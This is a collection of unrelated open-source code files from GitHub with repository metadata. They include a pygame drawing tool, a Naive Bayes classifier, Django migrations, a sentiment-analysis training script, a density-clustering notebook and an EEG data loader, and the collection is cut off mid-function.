from game_play_logic import Raffle def main(): """ This is a main function to launch the lotto game. There are 2 players in game: computer and user. Each player has 1 card with 15 unique numbers from 1 to 90. Each round Dealer selects a number. Player should confirm whether there is a selected number in his card. If he is mistaken, game automatically stops and he loses. Player who has guessed all 15 numbers win. """ game = Raffle() while game.is_game_over is False: game.play_a_round() game.print_endgame_message() if __name__ == "__main__": main()
[ "noreply@github.com" ]
noreply@github.com
d71947fe3442370a76b55a7afedcc869bed084a9
589f1fc174380a7c748c5a5f6418608a97df75ca
/env/lib/python3.7/tokenize.py
370121746a3fa347d94c92c963ad1a9a02ebb3bc
[]
no_license
jagadishgit05/Hostel-Management-System
860d254bed8181f5f9afa2e8054f2252de1d063a
451925b76d9a02c0fc8b3f1688c9f2f85b575b9e
refs/heads/master
2020-08-05T21:16:35.275073
2019-06-07T06:08:09
2019-06-07T06:08:09
null
0
0
null
null
null
null
UTF-8
Python
false
false
46
py
/home/veda/anaconda3/lib/python3.7/tokenize.py
[ "vedavikas06@gmail.com" ]
vedavikas06@gmail.com
9849f39bc69afbdf61a6097096d60a628a474288
af48130cc73ba4020944d7fe163ffc2c20e325ab
/Pictonary/client/bottom_bar.py
a9c2af0402ec13bbc6a83eb742411da30a7ebe2e
[]
no_license
anassfresco/chess-2d-online
a64fd2b93295cc0888cabc30adc665caa4560897
97700c5234815a6e295b71217ea056b9187fd364
refs/heads/main
2023-05-24T11:59:02.230044
2021-06-17T00:31:36
2021-06-17T00:31:36
377,661,106
0
0
null
null
null
null
UTF-8
Python
false
false
2,286
py
import pygame from button import Button, TextButton class BottomBar: COLORS = { 0: (255,255,255), 1: (0,0,0), 2: (255,0,0), 3: (0,255,0), 4: (0,0,255), 5: (255,255,0), 6: (255,140,0), 7: (165,42,42), 8: (128,0,128) } def __init__(self, x, y, game): self.x = x self.y = y self.WIDTH = 720 self.HEIGHT = 100 self.BORDER_THICKNESS = 5 self.game = game self.clear_button = TextButton(self.x + self.WIDTH - 150, self.y + 25, 100, 50, (128,128,128), "Clear") self.eraser_button = TextButton(self.x + self.WIDTH - 300, self.y + 25, 100, 50, (128,128,128), "Eraser") self.color_buttons = [Button(self.x + 20, self.y + 5, 30,30, self.COLORS[0]), Button(self.x + 50, self.y + 5, 30, 30, self.COLORS[1]), Button(self.x + 80, self.y + 5, 30, 30, self.COLORS[2]), Button(self.x + 20, self.y + 35, 30, 30, self.COLORS[3]), Button(self.x + 50, self.y + 35, 30, 30, self.COLORS[4]), Button(self.x + 80, self.y + 35, 30, 30, self.COLORS[5]), Button(self.x + 20, self.y + 65, 30, 30, self.COLORS[6]), Button(self.x + 50, self.y + 65, 30, 30, self.COLORS[7]), Button(self.x + 80, self.y + 65, 30, 30, self.COLORS[8])] def draw(self, win): pygame.draw.rect(win, (0,0,0), (self.x, self.y, self.WIDTH, self.HEIGHT), self.BORDER_THICKNESS) self.clear_button.draw(win) self.eraser_button.draw(win) for btn in self.color_buttons: btn.draw(win) def button_events(self): """ handle all button press events here :return: None """ mouse = pygame.mouse.get_pos() if self.clear_button.click(*mouse): self.game.board.clear() if self.eraser_button.click(*mouse): self.game.draw_color = (255,255,255) for btn in self.color_buttons: if btn.click(*mouse): self.game.draw_color = btn.color
[ "noreply@github.com" ]
noreply@github.com
a6a472390cfb8e6c8d8f782de143a01ba41e2d34
343d529939dddd12429ee77151313814fc154f6c
/Ch05_자료형/formatting1.py
74fa5da483ac43cf09de1ee015d04781a083409e
[]
no_license
dongupak/Basic-Python-Programming
6dcbc7585e350683d675892fa1d41ae5d589fc3e
113b7d1ff5b1a46572656384e234612382efb0df
refs/heads/master
2020-04-22T03:13:11.425046
2019-12-10T06:58:11
2019-12-10T06:58:11
170,078,198
1
1
null
null
null
null
UTF-8
Python
false
false
198
py
number = 20 greeting = '안녕하세요.' place = '퐁당식당' wait = '잠시만 기다려주세요.' print(greeting,place,'입니다. 손님의 대기 번호는',number,'번 입니다.',wait)
[ "noreply@github.com" ]
noreply@github.com
21f288523768e39055ccbc84b4756eceef1843ec
ef94dca44f7d591f4460962010df2eb306363cbc
/tournament/migrations/0012_tournament_prize_pool.py
b0cf7aff2ffc2fe3cae38fda841af47991d9b2b3
[]
no_license
KolbyMcGarrah/psc
6ac3653196c7665dd6dafbcabbae114821f3fa67
6b073d2cc6caefbc6b5c1599fc5d07106b84bee6
refs/heads/master
2022-02-24T04:35:59.907642
2019-10-29T17:21:07
2019-10-29T17:21:07
177,667,588
0
0
null
null
null
null
UTF-8
Python
false
false
454
py
# Generated by Django 2.1.5 on 2019-04-13 19:42 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('tournament', '0011_playerresults_flight'), ] operations = [ migrations.AddField( model_name='tournament', name='prize_pool', field=models.DecimalField(blank=True, decimal_places=2, default=0.0, max_digits=11, null=True), ), ]
[ "Kolbymcgarrah@gmail.com" ]
Kolbymcgarrah@gmail.com
2da5517f1320908d1fd4a90c8fa9cefb30d78ec4
542af8ac434e7f66f062dd85a0c6439b5abac56b
/Naive Bayes/Custom/nb.py
07efd93c8880b209e751ee41cfc6026af6997669
[]
no_license
fhm950/Machine-Learning
315d7fa3c5ffd0032a99ec0e91053ed66bb341b7
bf3532b97f878049ca626db4b6ef5d9c4050f9be
refs/heads/master
2022-12-07T23:19:16.427887
2020-08-15T11:11:22
2020-08-15T11:11:22
271,773,098
1
0
null
null
null
null
UTF-8
Python
false
false
1,448
py
import numpy as np class NaiveBayes: def fit(self, X, y): n_samples, n_features = X.shape self._classes = np.unique(y) n_classes = len(self._classes) # init mean, variant, priors self._mean = np.zeros((n_classes, n_features), dtype=np.float64) self._var = np.zeros((n_classes, n_features), dtype=np.float64) self._priors = np.zeros(n_classes, dtype=np.float64) for c in self._classes: print(c) X_c = X[c==y] self._mean[c,:] = X_c.mean(axis=0) self._var[c,:] = X_c.var(axis=0) self._priors[c] = X_c.shape[0] / float(n_samples) # print(self._mean) def predict(self, X): y_pred = [self._predict(x) for x in X] return y_pred def _predict(self, X): posteriors = [] for idx, c in enumerate(self._classes): prior = np.log(self._priors[idx]) class_conditional = np.sum(np.log(self._pdf(idx, X))) posterior = prior + class_conditional posteriors.append(posterior) return self._classes[np.argmax(posteriors)] def _pdf(self, class_idx, x): mean = self._mean[class_idx] var = self._var[class_idx] numerator = np.exp(-(x-mean)**2 / (2 * var)) denominator = np.sqrt(2 * np.pi * var) return numerator / denominator
[ "noreply@github.com" ]
noreply@github.com
731fbdc9e13ee5b9a1ea5a104bbad517d8bd7f0b
90ee0484f793b3a2d34cdd7ad664cc2c06a6e93a
/122_map_function.py
0a183411c5488c529de96a79e282169049be0770
[]
no_license
Nmewada/hello-python
1a4f624e9d2ac2b4cc0e9b6ad420d53b687fe302
7f1ee3950fd609c8a40fdef67402dfb99ff8c439
refs/heads/master
2023-05-03T07:36:54.884731
2021-06-01T05:12:41
2021-06-01T05:12:41
372,016,144
0
0
null
null
null
null
UTF-8
Python
false
false
328
py
#map function #Map function takes two arguments. It takes a function name and a list #map(function to apply,list of input) #Without map function: h1 = [1,2,4,5,7] sq =[] for item in h1: sq.append(item**2) print(sq) #With map function: def square(n): return n**2 h1 = [1,2,4,5,7] sq = list(map(square, h1)) print(sq)
[ "nitin.mewada1992@gmail.com" ]
nitin.mewada1992@gmail.com
7ed0744fe9b3c565b47fa151cf6c44c75483236d
2e27e134c6659c30ff2ead37ff51442642069c88
/src/test.py
72d931c45d00fdff339d76c2191f137757e0d939
[]
no_license
7bvcxz/Workplace
95837b9e67238446ceadc455e239374b1e148087
32d32edceb0a7cd58be69b889a9b62db021995ed
refs/heads/master
2023-04-18T13:56:42.870047
2021-05-01T06:42:26
2021-05-01T06:42:26
361,614,966
0
0
null
null
null
null
UTF-8
Python
false
false
261
py
import tensorflow as tf # Load MNIST dataset and scale values to [0 1]. (_, _), (x_test, y_test) = tf.keras.datasets.mnist.load_data() x_test = x_test / 255.0 model = tf.keras.models.load_model("../weight.h5") #Test the model results = model.predict(x_test)
[ "7bvcxz@gmail.com" ]
7bvcxz@gmail.com
b5558899d59f193c7925b4722315bcff838130f3
803576464d138b73403dae7808168cd1cca6364b
/jupytext/DPA_analysis.py
05a8d8f828a899b5d58d1811d2e78a3a8b0d6839
[ "BSD-3-Clause" ]
permissive
alishakiba/DPA
ec0e953500215bc403a019a57a2d3ca297664be5
0d0f3b04a7289408d04b2a99da728282b3056ae6
refs/heads/master
2023-03-16T02:45:35.335158
2021-03-18T18:11:58
2021-03-18T18:12:04
null
0
0
null
null
null
null
UTF-8
Python
false
false
9,013
py
# -*- coding: utf-8 -*- # --- # jupyter: # jupytext: # text_representation: # extension: .py # format_name: light # format_version: '1.5' # jupytext_version: 1.7.1 # kernelspec: # display_name: Python 3 # language: python # name: python3 # --- # # The Density Peak Advanced clustering algorithm # # ---------------- # Load the package: # + import io import sys import pandas as pd import numpy as np from Pipeline import DPA import time # %load_ext autoreload # %autoreload 2 # - # Read input csv file: data_F1 = pd.read_csv("Pipeline/tests/benchmarks/Fig1.dat", sep=" ", header=None) # How to run Density Peak Advanced clustering: # # The default pipeline makes use of the PAk density estimator and of the TWO-NN intristic dimension estimator. # The densities and the corresponding errors can also be provided as precomputed arrays. # # Parameters # ---------- # # Z : float, default = 1 # The number of standard deviations, which fixes the level of statistical confidence at which # one decides to consider a cluster meaningful. # # metric : string, or callable # The distance metric to use. # If metric is a string, it must be one of the options allowed by # scipy.spatial.distance.pdist for its metric parameter, or a metric listed in # pairwise.PAIRWISE_DISTANCE_FUNCTIONS. If metric is "precomputed", X is assumed to # be a distance matrix. Alternatively, if metric is a callable function, it is # called on each pair of instances (rows) and the resulting value recorded. The # callable should take two arrays from X as input and return a value indicating # the distance between them. Default is 'euclidean'. # # densities : array [n_samples], default = None # The logarithm of the density at each point. If provided, the following parameters are ignored: # density_algo, k_max, D_thr. # # err_densities : array [n_samples], default = None # The uncertainty in the density estimation, obtained by computing # the inverse of the Fisher information matrix. # # k_hat : array [n_samples], default = None # The optimal number of neighbors for which the condition of constant density holds. # # nn_distances : array [n_samples, k_max+1] # Distances to the k_max neighbors of each points. # # nn_indices : array [n_samples, k_max+1] # Indices of the k_max neighbors of each points. # # affinity : string or callable, default 'precomputed' # How to construct the affinity matrix. # - ``nearest_neighbors`` : construct the affinity matrix by computing a # graph of nearest neighbors. # - ``rbf`` : construct the affinity matrix using a radial basis function # (RBF) kernel. # - ``precomputed`` : interpret ``X`` as a precomputed affinity matrix. # - ``precomputed_nearest_neighbors`` : interpret ``X`` as a sparse graph # of precomputed nearest neighbors, and constructs the affinity matrix # by selecting the ``n_neighbors`` nearest neighbors. # - one of the kernels supported by # :func:`~sklearn.metrics.pairwise_kernels`. # # # Parameters specific of the PAk estimator: # ----------------------------------------- # # density_algo : string, default = "PAk" # Define the algorithm to use as density estimator. It mast be one of the options allowed by # VALID_DENSITY. # # k_max : int, default=1000 # This parameter is considered if density_algo is "PAk" or "kNN", it is ignored otherwise. # k_max set the maximum number of nearest-neighbors considered by the density estimator. # If density_algo="PAk", k_max is used by the algorithm in the search for the # largest number of neighbors ``\hat{k}`` for which the condition of constant density # holds, within a given level of confidence. # If density_algo="kNN", k_max set the number of neighbors to be used by the standard # k-Nearest Neighbor algorithm. # If the number of points in the sample N is # less than the default value, k_max will be set automatically to the value ``N/2``. # # D_thr : float, default=23.92812698 # This parameter is considered if density_algo is "PAk", it is ignored otherwise. # Set the level of confidence in the PAk density estimator. The default value corresponds to a p-value of # ``10**{-6}`` for a ``\chiˆ2`` distribution with one degree of freedom. # # dim : int, default = None # Intrinsic dimensionality of the sample. If dim is provided, the following parameters are ignored: # dim_algo, blockAn, block_ratio, frac. # # dim_algo : string, or callable, default="twoNN" # Method for intrinsic dimensionality calculation. If dim_algo is "auto", dim is assumed to be # equal to n_samples. If dim_algo is a string, it must be one of the options allowed by VALID_DIM. # # Parameters specific of the TWO-NN estimator: # -------------------------------------------- # # blockAn : bool, default=True # This parameter is considered if dim_algo is "twoNN", it is ignored otherwise. # If blockAn is True the algorithm perform a block analysis that allows discriminating the relevant # dimensions as a function of the block size. This allows to study the stability of the estimation # with respect to changes in the neighborhood size, which is crucial for ID estimations when the # data lie on a manifold perturbed by a high-dimensional noise. # # block_ratio : int, default=20 # This parameter is considered if dim_algo is "twoNN", it is ignored otherwise. # Set the minimum size of the blocks as n_samples/block_ratio. If blockAn=False, block_ratio is ignored. # # frac : float, default=1 # This parameter is considered if dim_algo is "twoNN", it is ignored otherwise. # Define the fraction of points in the data set used for ID calculation. By default the full # data set is used. # # # # Attributes # ---------- # labels_ : array [Nclus] # The clustering labels assigned to each point in the data set. # # halos_ : array [Nclus] # The clustering labels assigned to each point in the data set. Points identified as halos have # label equal to zero. # # topography_ : array [Nclus, Nclus] # Let be Nclus the number of clusters, the topography consists in a Nclus × Nclus symmetric matrix, # in which the diagonal entries are the heights of the peaks and the off-diagonal entries are the # heights of the saddle points. # # nn_distances_ : array [n_samples, k_max+1] # Distances to the k_max neighbors of each points. The point itself is included in the array. # # nn_indices_ : array [n_samples, k_max+1] # Indices of the k_max neighbors of each points. The point itself is included in the array. # # k_hat_ : array [n_samples], default = None # The optimal number of neighbors for which the condition of constant density holds. # # centers_ :array [Nclus] # The clustering labels assigned to each point in the data set. # # dim_ : int, # Intrinsic dimensionality of the sample. If ``dim`` is not provided, ``dim_`` is set # to the number of features in the input file. # # k_max_ : int # The maximum number of nearest-neighbors considered by the procedure that returns the # largest number of neighbors ``k_hat`` for which the condition of constant density # holds, within a given level of confidence. If the number of points in the sample `N` is # less than the default value, k_max_ will be set automatically to the value ``N/2``. # # densities_ : array [n_samples] # If not provided by the parameter ``densities``, it is computed by using the `PAk` density estimator. # # err_densities_ : array [n_samples] # The uncertainty in the density estimation. If not provided by the parameter ``densities``, it is # computed by using the `PAk` density estimator. # est = DPA.DensityPeakAdvanced(Z=1.5) start=time.time() est.fit(data_F1) end=time.time() print(end-start) est.topography_ # Running again with a different Z without the need of recomputing the neighbors-densities params = est.get_computed_params() est.set_params(**params) est.set_params(Z=1) start=time.time() est.fit(data_F1) end=time.time() print(end-start) # The PAk and twoNN estimator can be used indipendently from the DPA clustering method. # + from Pipeline import PAk from Pipeline import twoNN rho_est = PAk.PointAdaptive_kNN() d_est = twoNN.twoNearestNeighbors() # + results = rho_est.fit(data_F1) print(results.densities_[:10]) dim = d_est.fit(data_F1).dim_ print(dim) # -
[ "maria@ninthfloor.org" ]
maria@ninthfloor.org
59fedb17f8722439c3814f478d134f626b0a4c4a
de24f83a5e3768a2638ebcf13cbe717e75740168
/moodledata/vpl_data/48/usersdata/82/15966/submittedfiles/estatistica.py
31ad4a0026cf93a6236f0ea7646c0afd92d24f53
[]
no_license
rafaelperazzo/programacao-web
95643423a35c44613b0f64bed05bd34780fe2436
170dd5440afb9ee68a973f3de13a99aa4c735d79
refs/heads/master
2021-01-12T14:06:25.773146
2017-12-22T16:05:45
2017-12-22T16:05:45
69,566,344
0
0
null
null
null
null
UTF-8
Python
false
false
794
py
# -*- coding: utf-8 -*- from __future__ import division def media(lista): soma = 0 for i in range(0,len(lista),1): soma = soma + lista[i] media = soma/len(lista) return media a=[] b=[] n= input ('Digite a quantidade de elementos:') for i in range (0,n,1): a.append(input('Digite um elemento:')) for i in range (0,n,1): b.append(input('Digite um elemento:')) media_a = media(a) media_b = media(b) print('%.2f' %media_a) print('%.2f' %media_b) #Por último escreva o programa principal, que pede a entrada e chama as funções criadas. def desviopadrao(lista): soma=0 for j in range (0,n,1): soma=soma+(l[j]-media)**2 s=((1/(n-1))*soma)**(1/2) print('%.2f' %media_a) print('%2.f' desviopadrao_a) print('%.2f' %media_b) print('%2.f' %desviopadrao_b)
[ "rafael.mota@ufca.edu.br" ]
rafael.mota@ufca.edu.br
979b45a989b4b9daa5fbb76e34d94d4b21e26ff7
d43217707e0972e4b9dd5d881d36fe2d78e2d1d9
/movies/entertainment_center.py
1297c07529c6a185aa6344ba183e21a742b33730
[]
no_license
aakashsethi20/Python-Learning
e7109cb75d3b0a8a841bb47909d2a08267faa231
56b505f606024559c49dc6cc211f69304f76a73c
refs/heads/master
2021-01-10T14:45:03.161405
2016-02-08T03:51:58
2016-02-08T03:51:58
50,249,617
0
0
null
null
null
null
UTF-8
Python
false
false
1,344
py
import media import webbrowser import sys import fresh_tomatoes film_300 = media.Movie( # Title "300", # Story "King Leonidas goes to war with 300"+ " Spartans against 300,000, "+ "soldiers of Persian Lord Xerxes.", # Poster "https://upload.wikimedia.org/wikipedia/en/thumb"+ "/5/5c/300poster.jpg/220px-300poster.jpg", # Trailer "https://www.youtube.com/watch?v=UrIbxk7idYA") catch_me = media.Movie( # Title "Catch Me If You Can", # Story "A true story(?) of a FBI chasing a con artist.", # Poster "https://upload.wikimedia.org/wikipedia/en/thumb/4/4d/Catch_"+ "Me_If_You_Can_2002_movie.jpg/220px-Catch_Me_If_You_Can_2002_movie.jpg", # Trailer "https://www.youtube.com/watch?v=SosRcIMCr5g" ) pulp_fiction = media.Movie( # Title "Pulp Fiction", # Story "Pulp Fiction connects the intersecting storylines of Los Angeles mobsters,"+ " fringe players, small-time criminals, and a mysterious briefcase.", #Poster "https://upload.wikimedia.org/wikipedia/en/thumb/8/82/Pulp_Fiction_cover"+ ".jpg/220px-Pulp_Fiction_cover.jpg", #Trailer "https://www.youtube.com/watch?v=s7EdQ4FqbhY" ) # print (pulp_fiction.trailer) # print (catch_me.trailer) # print (film_300.trailer) movies = [film_300, catch_me, pulp_fiction] fresh_tomatoes.open_movies_page(movies) #pulp_fiction.show_trailer() #sys.exit("Trailer launched!")
[ "aakashsethi20@gmail.com" ]
aakashsethi20@gmail.com
874dacdb0b9480f0968e0cc6a450d9708d1fb1ec
b741b8c9a004e9a82ae774410946d1057bcd33aa
/Raspi Code/cameraRanger.py
4f1222dffd26db38281bd6c1bea44e03dda9026b
[]
no_license
jeffreycoen/raspiRobot
1663909d1cf444425d5d2f0e55843833685fe21f
6d774987d6b26f97820ab51864d4d04f89c01738
refs/heads/master
2020-03-07T17:58:04.313293
2018-04-01T12:40:00
2018-04-01T12:40:00
127,625,638
0
1
null
null
null
null
UTF-8
Python
false
false
467
py
# Attach: SR-04 Range finder from rrb3 import * import time, random import picamera camera = picamera.PiCamera() BATTERY_VOLTS = 9 MOTOR_VOLTS = 6 rr = RRB3(BATTERY_VOLTS, MOTOR_VOLTS) try: while True: distance = rr.get_distance() print(distance) if (distance < 20): camera.capture(str(time.clock()) + 'image.jpg') time.sleep(1) finally: print("Exiting") rr.cleanup() camera.capture('image.jpg')
[ "jeff.coen@gmail.com" ]
jeff.coen@gmail.com
d1a9be1d4a234bfa455989f08e4764a1d9a0b77c
ccb22d4a5c08685e6f90a35277036c1fa8472e78
/sakanet/migrations/0006_alter_message_utilisateur.py
baf9efe66480f0392f4d3049e956dd442603ef27
[]
no_license
Nyhasina23/SakaNet
981cb18429bc4e23cbed2af706114211d4c1d78d
60790830653c41238137e35917b76a591e05baa9
refs/heads/master
2023-08-15T04:09:10.464339
2021-10-08T14:51:53
2021-10-08T14:51:53
387,493,554
1
0
null
null
null
null
UTF-8
Python
false
false
617
py
# Generated by Django 3.2.5 on 2021-08-14 21:53 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('sakanet', '0005_alter_message_utilisateur'), ] operations = [ migrations.AlterField( model_name='message', name='utilisateur', field=models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL), ), ]
[ "nyhasina.finaritra@gmail.com" ]
nyhasina.finaritra@gmail.com
1f3d31df76c9cf814ba2d38e2996e63d157e5170
8705d4c96cd3e2f2f6585a27620a296622d6a28d
/captains_log.py
56b3bbeee3801c6cf0a5493aeed100dbda071a36
[]
no_license
lpdabest1/CS-303E
161f58772632e1d55786a52da800e3aafe2a08e6
7f552ccf927323403e02e967812492a5b3370605
refs/heads/master
2022-11-26T23:58:42.063057
2020-08-03T19:26:37
2020-08-03T19:26:37
284,785,804
0
0
null
null
null
null
UTF-8
Python
false
false
458
py
"Captain's log entry 253: Our ship is still on course to enter pluto's atmosphere in approximately 56 hours. We've finished preparations for the landing and subsequent sciencing that is to be done once we reach the planet, all that's left now is to wait for the ship to breach the atmosphere, so I've instructed the crew to get as much sleep as they can in the next 53 hours, because after that, the crew will be very busy. Captain Danvers, signing off."
[ "noreply@github.com" ]
noreply@github.com
79c6cca42e94fd0c5676e0361b6555c5e3028b58
368135329a3c6febd0e58b05b657f88c4a07141f
/models/Batch/CalculateInterest.py
b7dd69d37e42e85884cceac0ee94d3e914b33ae6
[]
no_license
YuktiP/CS5721_Software_Design
f741cca2bca29cc500a9e82b0b80dd9cfc34368b
e1fc473e46b84713c0d93dcdaf7cb9fa7e3f7435
refs/heads/main
2023-01-31T07:29:42.994652
2020-12-16T15:59:12
2020-12-16T15:59:12
311,100,282
1
0
null
null
null
null
UTF-8
Python
false
false
468
py
from Interfaces.IBatch import IBatch from models.Result import Result from models.Batch import BatchCreateHelper as bh from app import db class CalculateInterest(IBatch): def __init__(self): self=self def Create(self,form): bhelper = bh.batchHelper batch = bhelper.createBatchObject(request.form) #return Result(True,"Batch Created") def Execute(self): return Result(True,"Batch Run SuccessFully")
[ "yuktipatil@gmail.com" ]
yuktipatil@gmail.com
abcbb682b64a1270844121d3fb01bfed0f2d6a9a
f7ede95657d3e7fdbfa611eda37250cbd9e30748
/run.py
1c5d884c94884ed5713f879c7b8dc1e030401720
[]
no_license
sftekin/siu_nlp
0a521f0a7da1339ad87527fbd52f86599ad7afcc
b7d79333eeb831d45ac650bf0b4d673894799801
refs/heads/master
2022-04-10T20:52:59.748756
2020-03-16T06:26:45
2020-03-16T06:26:45
230,878,780
1
1
null
null
null
null
UTF-8
Python
false
false
2,603
py
import numpy as np import matplotlib.pyplot as plt from run_helper import read_sup_dataset, preprocess_set, split_data, plot_roc_curve from batch_generator import BatchGenerator from train import train_deep from test import test from config import batch_params, train_params, model_config from models.sentiment_model import SentimentModel from sklearn.model_selection import train_test_split from sklearn.metrics import accuracy_score, f1_score def main(): tweet6k_path = 'dataset/twitter_6K' tweet20k_path = 'dataset/twitter_20K' # Supervised data X_1, y_1 = read_sup_dataset(tweet20k_path) X_2, y_2 = read_sup_dataset(tweet6k_path) # preprocess data- X, y, int2word, word2int = preprocess_set(X_1+X_2, y_1+y_2) X_20k, y_20k = X[:len(X_1)], y[:len(y_1)] X_6k, y_6k = X[len(X_1):], y[len(y_1):] X_6k, X_test, y_6k, y_test = train_test_split(X_6k, y_6k, test_size=0.25, stratify=y_6k, random_state=42) X_large = np.concatenate((X_20k, X_6k), axis=0) y_large = np.concatenate((y_20k, y_6k), axis=0) data_set = [[X_6k, y_6k], [X_large, y_large]] figure = plt.figure('roc') for set_id, (X, y) in enumerate(data_set): if set_id == 0: fig_name = 'Kısıtlı veri kümesi' train_params['eval_every'] = 30 ha = 'left' va = 'top' else: fig_name = 'Çoğaltılmış veri kümesi' train_params['eval_every'] = 200 ha = 'right' va = 'bottom' print('Training for data length: {}'.format(len(y))) # split data data_dict = split_data(X, y) batch_gen = BatchGenerator(data_dict, set_names=['train', 'validation'], **batch_params) model = SentimentModel(model_config['LSTM'], int2word) # train train_deep(model, batch_gen, **train_params) # test log_prob = test(model, X_test, y_test) pred = [np.round(prob) for prob in log_prob] plot_roc_curve(figure, y_test, log_prob, fig_name=fig_name, ha=ha, va=va) acc = accuracy_score(y_test, pred) f1 = f1_score(y_test, pred) print('\nTest Accuracy: {}\n' 'F1 score: {}'.format(acc, f1)) plt.figure(figure.number) plt.savefig('results/final_roc.png', bbox_inches="tight", dpi=100) plt.show() if __name__ == '__main__': main()
[ "sftekin25@gmail.com" ]
sftekin25@gmail.com
69774b1a130a3815006366330b014b4c70b04a63
b61d32c307a2bf81ad25b375c294abcf8c58e310
/data_loaders/load_eegs_one_c_improved.py
c38f7bea7175c8c952d73bade65e5d2c6fd02d58
[]
no_license
DanielLongo/eegML
1bad4b8a2aed882a3c2468b74cf0309c0dd8ef32
022d836d89cd61200c81fa81b044148326f9aa72
refs/heads/master
2021-07-17T06:14:59.773090
2020-05-19T23:34:37
2020-05-19T23:34:37
162,787,863
13
1
null
null
null
null
UTF-8
Python
false
false
11,387
py
import math import mne import sys sys.path.append("../GANs/") import time import datetime import numpy as np import os import torch from torch.utils import data import h5py import random import sklearn from sklearn import preprocessing import pandas as pd # from utils import save_EEG class EEGDataset(data.Dataset): def __init__(self, data_dir, csv_file=None, num_channels=19, num_examples=-1, batch_size=64, length=1000, delay=10000): # num_examples -= 1 #for stagering self.delay = delay self.batch_size = batch_size self.length = length self.valid_unitl = 20 #channel until which to take recordings from self.recordings_per_batch = math.ceil(batch_size / self.valid_unitl) self.num_examples = num_examples # self.examples_signal, self.examples_atribute = load_eeg_directory(data_dir, num_channels, min_length=100, max_length=999999, max_num=num_examples, length=length) print(num_examples) num_files_needed = math.ceil(num_examples / self.valid_unitl) print("num_files_needed", num_files_needed) if csv_file == None: self.filenames = get_filenames(data_dir, num_channels, length, min_length=100, max_length=999999, max_num=num_files_needed, delay=self.delay) else: self.filenames = load_filenames_from_csv(csv_file) random.shuffle(self.filenames) self.filenames = check_files(self.filenames, num_channels, length, min_length=100, max_length=999999, max_num=num_files_needed, delay=self.delay) self.batched_filenames = split_into_batches(self.filenames, self.recordings_per_batch) print("Number of files found:", len(self.filenames), "Length:", length) self.preloaded_examples = [] self.preloaded_batches = [] self.load_data() self.create_batches() self.shuffle() # self.batched_examples_atribute = split_into_batches(self.examples_atribute, batch_size) # self.batched_examples_signal = split_into_batches(self.examples_signal, batch_size) def create_batches(self): self.preloaded_batches = split_into_batches(self.preloaded_examples, self.batch_size) def load_data(self): examples = [] for filename in self.filenames: examples += self.load_examples_from_file(filename) random.shuffle(examples) examples = examples[:self.num_examples] self.preloaded_examples = examples # self.load_file_data() # batched_data = [] # print(len(self.batched_filenames), len(self.batched_filenames[0])) # for filenames in self.batched_filenames: # batched_data += [self.load_file_data(filenames)] # self.preloaded_data = batched_data def load_examples_from_file(self, filename): signals, attributes = read_filenames([filename], self.length, delay=self.delay) signals = np.asarray(signals) signals = signals[:, :self.valid_unitl, :] # remove poor channels single_channels = [] for example in signals: for recording in example: single_channels += [recording] return single_channels def __len__(self): # return len(self.batched_examples_atribute) return len(self.batched_filenames) def __getitem__(self, index): if self.preloaded_batches[index] is None: # TODO: get better soltion print("preloaded batches is None") return self.__getitem__(index + 1) out = torch.FloatTensor(self.preloaded_batches[index]) # print("out", out.shape) out = out.view(-1, self.length, 1) return out # def load_file_data(self, batch_filenames): # loads into batches # print("batch filenames", batch_filenames) # #old bad method # signals, attributes = read_filenames(batch_filenames, self.length, delay=self.delay) # signals = np.asarray(signals) # signals = signals[:, :self.valid_unitl, :] # remove poor channels # single_channels = [] # for example in signals: # for recording in example: # single_channels += [recording] # sample = split_into_batches(single_channels, self.batch_size) # try: # out = torch.from_numpy(np.asarray(sample[0]).reshape(self.batch_size, self.length, 1)).type('torch.FloatTensor') # except ValueError: # print("shape error in singe channel data loader") # return None # return out def shuffle(self): random.shuffle(self.preloaded_examples) self.create_batches() def load_eeg_file(filename, normalize=False): hdf = h5py.File(filename, "r") atributes = hdf["patient"].attrs rec = hdf["record-0"] signals = rec["signals"] atributes = parse_atributes(atributes) specs = { "sample_frequency" : rec.attrs["sample_frequency"], "number_channels" : rec.attrs["number_channels"] } if normalize: # print(type(signals.value)) signals = sklearn.preprocessing.normalize((signals.value).T, axis=1).T # print(signals.shape) return signals, atributes, specs def parse_atributes(atributes): gender = atributes["gender"] if gender == "Male": gender = 1 elif gender == "Female": gender = -1 else: gender = 0 gestatational_age_at_birth_days = float(atributes["gestatational_age_at_birth_days"]) birthdate = atributes["birthdate"] age_in_seconds = (time.time() - time.mktime(datetime.datetime.strptime(birthdate, "%Y-%m-%d").timetuple())) # print("gender", gender, type(gender)) # print("gestatational_age_at_birth_days", gestatational_age_at_birth_days, type(gestatational_age_at_birth_days)) # print("age_in_seconds", age_in_seconds, type(age_in_seconds)) out = np.asarray([gender, age_in_seconds, gestatational_age_at_birth_days]) return out #todo, figure out born premature # born_premature = atributes["born_premature"] def load_eeg_directory(path, num_channels, min_length=0, max_length=1e9999, max_num=-1, sample_frequency=200, length=1000): files = os.listdir(path) num_files_read = 0 examples_signal = [] examples_atribute = [] for file in files: if (file.split(".")[-1] != "eeghdf") and (file.split(".")[-1] != "fif"): continue if file.split(".")[-1] == "eeghdf": signals, atributes, specs = load_eeg_file(path + file) # print(signals.shape[1]) if signals.shape[1] < length + 5000: continue # start = signals.shape[1] / 2 # stop = signals = signals[:, 5000:length+5000] if (int(specs["number_channels"]) != num_channels): # print("Not correct num_channels", num_channels, specs["number_channels"]) continue if (int(specs["sample_frequency"]) != sample_frequency): # print("Not correct sample_frequency", sample_frequency, specs["sample_frequency"]) continue num_readings = signals.shape[1] # if num_readings < min_length: # continue # elif num_readings > max_length: # continue else: #it's .fif signals = mne.io.read_raw_fif(path + file).to_data_frame().values atributes= [None] examples_signal += [signals] examples_atribute += [atributes] if num_files_read-1 == max_num: return examples_signal, examples_atribute num_files_read += 1 return examples_signal, examples_atribute def split_into_batches(x, examples_per_batch): final = [] for start in range(0, len(x), examples_per_batch): end = start + examples_per_batch final += [x[start:end]] # print("final", np.shape(final)) # print("final", len(final)) return final def read_filenames(filenames, length, delay=10000): examples_signal = [] examples_atribute = [] # delay = 100000 for file in filenames: # print("file", file) signals, atributes, specs = load_eeg_file(file, normalize=False) # print("delay", delay) # print("before", signals.shape) signals_staggered = signals[:, delay:length+delay] # print("after", signals.shape) examples_signal += [signals_staggered] 